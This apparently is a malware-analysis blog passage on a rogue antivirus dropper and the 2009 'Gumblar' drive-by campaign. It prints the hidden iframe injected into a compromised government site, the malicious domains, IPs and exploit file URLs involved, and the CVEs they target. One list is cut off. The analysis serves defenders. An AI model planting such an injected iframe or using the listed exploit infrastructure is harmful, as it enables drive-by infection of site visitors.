The malware wisdstr.exe connects to bureltanovaderta.com (66.79.178.200, AS27645 ASN-NA-MSG-01 Managed Solutions Group, Inc) to download the remaining installation files associated with the rogue security product Home Antivirus 2010. The product provides false diagnostics and persistent notifications in an attempt to convince the victim to purchase a licensed version of the product.

An over-sized Windows Security center opens indicating Virus Protection is not found. The window is part of the social; engineering effort to convince victims to purchase a licensed version of Home Antivirus 2010.



The malware also attempted C2 connections to cbbugltjud.com (195.2.253.240, AS12695 MADET-NET Moscow, Russia) to download additional malware. Other domains that resolve to 195.2.253.240 include:

Gumblar Analysis

So it seems Gumblar is the latest threat to receive continual media hype. It was nice to see Symantec's opinion that this is just another day in the life of the web. Recent "threats" like Conficker and Gumblar seem to benefit security vendors and consultants who feed the hype for business purposes. The term Gumblar is an adopted term that describes a recent web-based drive-by attack. The attack follows the standard web-based drive-by attack TTP:

  1. The bad guys use stolen FTP credentials or SQL injection to inject iframe redirects into legitimate websites.
  2. The iframes redirect to sites that host exploit code targteted against web browsers, browser plug-ins and 3rd party applications (IE, FF, Adobe Reader, WinZip, etc.)
  3. The exploits result in malware payload. The malware typically downloads additional for-profit malware (spambots, infostealers, rogue security products, etc.)
  4. Credentials exfiltrated by infostealers (like FTP) are used to compromise additional web servers back in step #1.
At one point in the attack (~May 2009), the Gumblar exploit site was gumblar.cn (hence the adopted name). The domain martuz.cn was later used. The activity began much further back, but the attack summary was put togther and publicized more recently. The following "Gumblar" analysis goes back to April 17, 2009 before gumbar.cn was utilized.

Gumbar Exploit Analysis

The USDA Forest Service website (http://www.fs.fed.us) was a vicitm of an iframe injection. The compromised site contained an iframe to lotmachinesguide.cn (94.247.3.150, Latvia).

<iframe src="http://lotmachinesguide.cn/in.cgi?income56" width=1 height=1 style="visibility: hidden"></iframe>

The lotmachinesguide.cn/in.cgi?income56 request returned a HTTP Location redirect to liteautogreatest.cn (94.247.3.151, Latvia). The http://liteautogreatest.cn/index.php request returned obfuscated JavaScript and references to Adobe Reader and Flash files that contain exploit code.

http://liteautogreatest.cn/cache/readme.pdf
http://liteautogreatest.cn/cache/flash.swf

The first 2 sections of exploit code target the Microsoft Access Snapshot Viewer ActiveX Control Vulnerability (CVE-2008-2463, MS08-041). The readme.pdf file contains code designed to exploit the Adobe util.printf overflow vulnerability (CVE-2008-2992, APSB08-19) and a vulnerability in the JavaScript method Collab.collectEmailInfo() in Adobe PDF Reader’s JavaScript Engine (CVE-2007-5659, APSB08-13). The flash.swf file exploits an Adobe Flash vulnerability (not sure specific one).The exploit payloads were GET requests to litehitscar.cn (94.247.3.151, Latvia) that returned load.exe.
